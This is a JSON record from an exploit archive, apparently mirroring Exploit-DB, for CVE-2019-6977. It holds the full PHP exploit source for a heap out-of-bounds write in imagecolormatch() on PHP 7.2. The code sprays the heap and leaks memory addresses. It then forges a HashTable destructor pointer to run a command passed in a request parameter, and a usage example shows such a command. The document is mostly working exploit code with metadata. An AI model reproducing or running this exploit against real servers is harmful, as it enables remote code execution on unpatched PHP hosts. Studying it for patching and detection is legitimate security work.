{"exploit":{"id":"EDB-46677","name":"PHP 7.2 - 'imagecolormatch()' Out of Band Heap Write","description":"PHP 7.2 - 'imagecolormatch()' Out of Band Heap Write","cves":["CVE-2019-6977"],"author":"cfreal","published":"2019-02-27","platform":"php","type":"remote","language":"PHP","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/46677","path":"exploits/php/remote/46677.php","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-46677.php","vulnerabilities":[{"id":"CVE-2019-6977","state":"PUBLISHED","title":null,"titleSource":null,"description":"gdImageColorMatch in gd_color_match.c in the GD Graphics Library (aka LibGD) 2.2.5, as used in the imagecolormatch function in PHP before 5.6.40, 7.x before 7.1.26, 7.2.x before 7.2.14, and 7.3.x before 7.3.1, has a heap-based buffer overflow. This can be exploited by an attacker who is able to trigger imagecolormatch calls with crafted image data.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2019-6977","cvss":{"version":"3.0","baseScore":8.8,"severity":"high","vectorString":"CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2019-6977"},"updatedAt":"2024-08-04T20:38:32.847Z","retrievedAt":"2026-11-27T12:06:52.874Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-46677.png?v=2","url":"https://exploitbin.com/exploits/EDB-46677","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-46677/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-46677/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<?php\n# imagecolormatch() OOB Heap Write exploit\n# https://bugs.php.net/bug.php?id=77270\n# CVE-2019-6977\n# Charles Fol\n# @cfreal_\n#\n# Usage: GET/POST /exploit.php?f=<system_addr>&c=<command>\n# Example: GET/POST /exploit.php?f=0x7fe83d1bb480&c=id+>+/dev/shm/titi\n#\n# Target: PHP 7.2.x\n# Tested on: PHP 7.2.12\n#\n\n/*\n\nbuf = (unsigned long *)safe_emalloc(sizeof(unsigned long), 5 * im2->colorsTotal, 0);\n\n\tfor (x=0; x<im1->sx; x++) {\n\t\tfor( y=0; y<im1->sy; y++ ) {\n\t\t\tcolor = im2->pixels[y][x];\n\t\t\trgb = im1->tpixels[y][x];\n\t\t\tbp = buf + (color * 5);\n\t\t\t(*(bp++))++;\n\t\t\t*(bp++) += gdTrueColorGetRed(rgb);\n\t\t\t*(bp++) += gdTrueColorGetGreen(rgb);\n\t\t\t*(bp++) += gdTrueColorGetBlue(rgb);\n\t\t\t*(bp++) += gdTrueColorGetAlpha(rgb);\n\t\t}\n\nThe buffer is written to by means of a color being the index:\ncolor = im2->pixels[y][x];\n..\nbp = buf + (color * 5);\n\n*/\n\n#\n# The bug allows us to increment 5 longs located after buf in memory.\n# The first long is incremented by one, others by an arbitrary value between 0\n# and 0xff.\n#\n\nerror_reporting(E_ALL);\ndefine('OFFSET_STR_VAL', 0x18);\ndefine('BYTES_PER_COLOR', 0x28);\n\n\nclass Nenuphar extends DOMNode\n{\n\t# Add a property so that std.properties is created\n\tfunction __construct()\n\t{\n\t\t$this->x = '1';\n\t}\n\n\t# Define __get\n\t# => ce->ce_flags & ZEND_ACC_USE_GUARDS == ZEND_ACC_USE_GUARDS\n\t# => zend_object_properties_size() == 0\n\t# => sizeof(intern) == 0x50\n\tfunction __get($x)\n\t{\n\t\treturn $this->$x;\n\t}\n}\n\nclass Nenuphar2 extends DOMNode\n{\n\tfunction __construct()\n\t{\n\t\t$this->x = '2';\n\t}\n\n\tfunction __get($x)\n\t{\n\t\treturn $this->$x;\n\t}\n}\n\nfunction ptr2str($ptr, $m=8)\n{\n\t$out = \"\";\n    for ($i=0; $i<$m; $i++)\n    {\n        $out .= chr($ptr & 0xff);\n        $ptr >>= 8;\n    }\n    return $out;\n}\n\nfunction str2ptr(&$str, $p, $s=8)\n{\n\t$address = 0;\n\tfor($j=$p+$s-1;$j>=$p;$j--)\n\t{\n\t\t$address <<= 8;\n\t\t$address |= ord($str[$j]);\n\t}\n\treturn $address;\n}\n\n# Spray stuff so that we get concurrent memory blocks\nfor($i=0;$i<100;$i++)\n\t${'spray'.$i} = str_repeat(chr($i), 2 * BYTES_PER_COLOR - OFFSET_STR_VAL);\nfor($i=0;$i<100;$i++)\n\t${'sprayx'.$i} = str_repeat(chr($i), 12 * BYTES_PER_COLOR - OFFSET_STR_VAL);\n\n#\n# #1: Address leak\n# We want to obtain the address of a string so that we can make\n# the Nenuphar.std.properties HashTable* point to it and hence control its\n# structure.\n#\n\n# We create two images $img1 and $img2, both of 1 pixel.\n# The RGB bytes of the pixel of $img1 will be added to OOB memory because we set\n# $img2 to have $nb_colors images and we set its only pixel to color number\n# $nb_colors.\n#\n$nb_colors = 12;\n$size_buf = $nb_colors * BYTES_PER_COLOR;\n\n# One pixel image so that the double loop iterates only once\n$img1 = imagecreatetruecolor(1, 1);\n\n# The three RGB values will be added to OOB memory\n# First value (Red) is added to the size of the zend_string structure which\n# lays under buf in memory.\n$color = imagecolorallocate($img1, 0xFF, 0, 0);\nimagefill($img1, 0, 0, $color);\n\n$img2 = imagecreate(1, 1);\n\n# Allocate $nb_colors colors: |buf| = $nb_colors * BYTES_PER_COLOR = 0x1e0\n# which puts buf in 0x200 memory blocks\nfor($i=0;$i<$nb_colors;$i++)\n\timagecolorallocate($img2, 0, 0, $i);\n\nimagesetpixel($img2, 0, 0, $nb_colors + 1);\n\n# Create a memory layout as such:\n# [z:   zend_string: 0x200]\n# [x:   zend_string: 0x200]\n# [y:   zend_string: 0x200]\n$z = str_repeat('Z', $size_buf - OFFSET_STR_VAL);\n$x = str_repeat('X', $size_buf - OFFSET_STR_VAL);\n$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL);\n\n# Then, we unset z and call imagecolormatch(); buf will be at z's memory\n# location during the execution\n# [buf: long[]     : 0x200]\n# [x:   zend_string: 0x200]\n# [y:   zend_string: 0x200]\n#\n# We can write buf + 0x208 + (0x08 or 0x10 or 0x18)\n# buf + 0x208 + 0x08 is X's zend_string.len\nunset($z);\nimagecolormatch($img1, $img2);\n\n# Now, $x's size has been increased by 0xFF, so we can read further in memory.\n#\n# Since buf was the last freed block, by unsetting y, we make its first 8 bytes\n# point to the old memory location of buf\n# [free:             0x200] <-+\n# [x:   zend_string: 0x200]   |\n# [free:             0x200] --+\nunset($y);\n# We can read those bytes because x's size has been increased\n$z_address = str2ptr($x, 488) + OFFSET_STR_VAL;\n\n# Reset both these variables so that their slot cannot be \"stolen\" by other\n# allocations\n$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);\n\n# Now that we have z's address, we can make something point to it.\n# We create a fake HashTable structure in Z; when the script exits, each element\n# of this HashTable will be destroyed by calling ht->pDestructor(element)\n# The only element here is a string: \"id\"\n$z =\n\t# refcount\n\tptr2str(1) .\n\t# u-nTableMask meth\n\tptr2str(0) .\n\t# Bucket arData\n\tptr2str($z_address + 0x38) .\n\t# uint32_t nNumUsed;\n\tptr2str(1, 4) .\n    # uint32_t nNumOfElements;\n\tptr2str(1, 4) .\n\t# uint32_t nTableSize\n\tptr2str(0, 4) .\n\t# uint32_t nInternalPointer\n\tptr2str(0, 4) .\n\t# zend_long nNextFreeElement\n\tptr2str(0x4242424242424242) .\n\t# dtor_func_t pDestructor\n\tptr2str(hexdec($_REQUEST['f'])) .\n\tstr_pad($_REQUEST['c'], 0x100, \"\\x00\") .\n\tptr2str(0, strlen($y) - 0x38 - 0x100);\n;\n\n# At this point we control a string $z and we know its address: we'll make an\n# internal PHP HashTable structure point to it.\n\n\n#\n# #2: Read Nenuphar.std.properties\n#\n\n# The tricky part here was to find an interesting PHP structure that is\n# allocated in the same fastbins as buf, so that we can modify one of its\n# internal pointers. Since buf has to be a multiple of 0x28, I used dom_object,\n# whose size is 0x50 = 0x28 * 2. Nenuphar is a subclass of dom_object with just\n# one extra method, __get().\n# php_dom.c:1074: dom_object *intern = ecalloc(1, sizeof(dom_object) + zend_object_properties_size(class_type));\n# Since we defined a __get() method, zend_object_properties_size(class_type) = 0\n# and not -0x10.\n#\n# zend_object.properties points to an HashTable. Controlling an HashTable in PHP\n# means code execution since at the end of the script, every element of an HT is\n# destroyed by calling ht.pDestructor(ht.arData[i]).\n# Hence, we want to change the $nenuphar.std.properties pointer.\n#\n# To proceed, we first read $nenuphar.std.properties, and then increment it\n# by triggering the bug several times, until\n# $nenuphar.std.properties == $z_address\n#\n# Sadly, $nenuphar.std.ce will also get incremented by one every time we trigger\n# the bug. This is due to (*(bp++))++ (in gdImageColorMatch).\n# To circumvent this problem, we create two classes, Nenuphar and Nenuphar2, and\n# instanciate them as $nenuphar and $nenuphar2. After we're done changing the\n# std.properties pointer, we trigger the bug more times, until\n# $nenuphar.std.ce == $nenuphar2.std.ce2\n#\n# This way, $nenuphar will have an arbitrary std.properties pointer, and its\n# std.ce will be valid.\n#\n# Afterwards, we let the script exit, which will destroy our fake hashtable (Z),\n# and therefore call our arbitrary function.\n#\n\n# Here we want fastbins of size 0x50 to match dom_object's size\n$nb_colors = 2;\n$size_buf = $nb_colors * BYTES_PER_COLOR;\n\n$img1 = imagecreatetruecolor(1, 1);\n# The three RGB values will be added to OOB memory\n# Second value (Green) is added to the size of the zend_string structure which\n# lays under buf in memory.\n$color = imagecolorallocate($img1, 0, 0xFF, 0);\nimagefill($img1, 0, 0, $color);\n\n# Allocate 2 colors so that |buf| = 2 * 0x28 = 0x50\n$img2 = imagecreate(1, 1);\nfor($i=0;$i<$nb_colors;$i++)\n\timagecolorallocate($img2, 0, 0, $i);\n\n$y = str_repeat('Y', $size_buf - OFFSET_STR_VAL - 8);\n$x = str_repeat('X', $size_buf - OFFSET_STR_VAL - 8);\n$nenuphar = new Nenuphar();\n$nenuphar2 = new Nenuphar2();\n\nimagesetpixel($img2, 0, 0, $nb_colors);\n\n# Unsetting the first string so that buf takes its place\nunset($y);\n\n# Trigger the bug: $x's size is increased by 0xFF\nimagecolormatch($img1, $img2);\n\n$ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);\n$ce2_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + $size_buf + 0x28);\n$props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);\n\nprint('Nenuphar.ce: 0x' . dechex($ce1_address) . \"\\n\");\nprint('Nenuphar2.ce: 0x' . dechex($ce2_address) . \"\\n\");\nprint('Nenuphar.properties: 0x' . dechex($props_address) . \"\\n\");\nprint('z.val: 0x' . dechex($z_address) . \"\\n\");\nprint('Difference: 0x' . dechex($z_address-$props_address) . \"\\n\");\n\nif(\n\t$ce2_address - $ce1_address < ($z_address-$props_address) / 0xff ||\n\t$z_address - $props_address < 0\n)\n{\n\tprint('That won\\'t work');\n\texit(0);\n}\n\n\n#\n# #3: Modifying Nenuphar.std.properties and Nenuphar.std.ce\n#\n\n# Each time we increment Nenuphar.properties by an arbitrary value, ce1_address\n# is also incremented by one because of (*(bp++))++;\n# Therefore after we're done incrementing props_address to z_address we need\n# to increment ce1's address one by one until Nenuphar1.ce == Nenuphar2.ce\n\n# The memory structure we have ATM is OK. We can just trigger the bug again\n# until Nenuphar.properties == z_address\n\n$color = imagecolorallocate($img1, 0, 0xFF, 0);\nimagefill($img1, 0, 0, $color);\nimagesetpixel($img2, 0, 0, $nb_colors + 3);\n\nfor($current=$props_address+0xFF;$current<=$z_address;$current+=0xFF)\n{\n\timagecolormatch($img1, $img2);\n\t$ce1_address++;\n}\n\n$color = imagecolorallocate($img1, 0, $z_address-$current+0xff, 0);\nimagefill($img1, 0, 0, $color);\n$current = imagecolormatch($img1, $img2);\n$ce1_address++;\n\n# Since we don't want to touch other values, only increase the first one, we set\n# the three colors to 0\n$color = imagecolorallocate($img1, 0, 0, 0);\nimagefill($img1, 0, 0, $color);\n\n# Trigger the bug once to increment ce1 by one.\nwhile($ce1_address++ < $ce2_address)\n{\n\timagecolormatch($img1, $img2);\n}\n\n# Read the string again to see if we were successful\n\n$new_ce1_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x28);\n$new_props_address = str2ptr($x, $size_buf - OFFSET_STR_VAL + 0x38);\n\nif($new_ce1_address == $ce2_address && $new_props_address == $z_address)\n{\n\tprint(\"\\nExploit SUCCESSFUL !\\n\");\n}\nelse\n{\n\tprint('NEW Nenuphar.ce: 0x' . dechex($new_ce1_address) . \"\\n\");\n\tprint('NEW Nenuphar.std.properties: 0x' . dechex($new_props_address) . \"\\n\");\n\tprint(\"\\nExploit FAILED !\\n\");\n}","sha256":"c2cbb0e8708ffc3a63520b0072b82703706702837a3ddec80dc2cf3b8c2610f2","bytes":10139,"fetchedAt":"2026-11-27T12:06:49.274Z","encoding":"utf-8 (display only; download retains original bytes)"}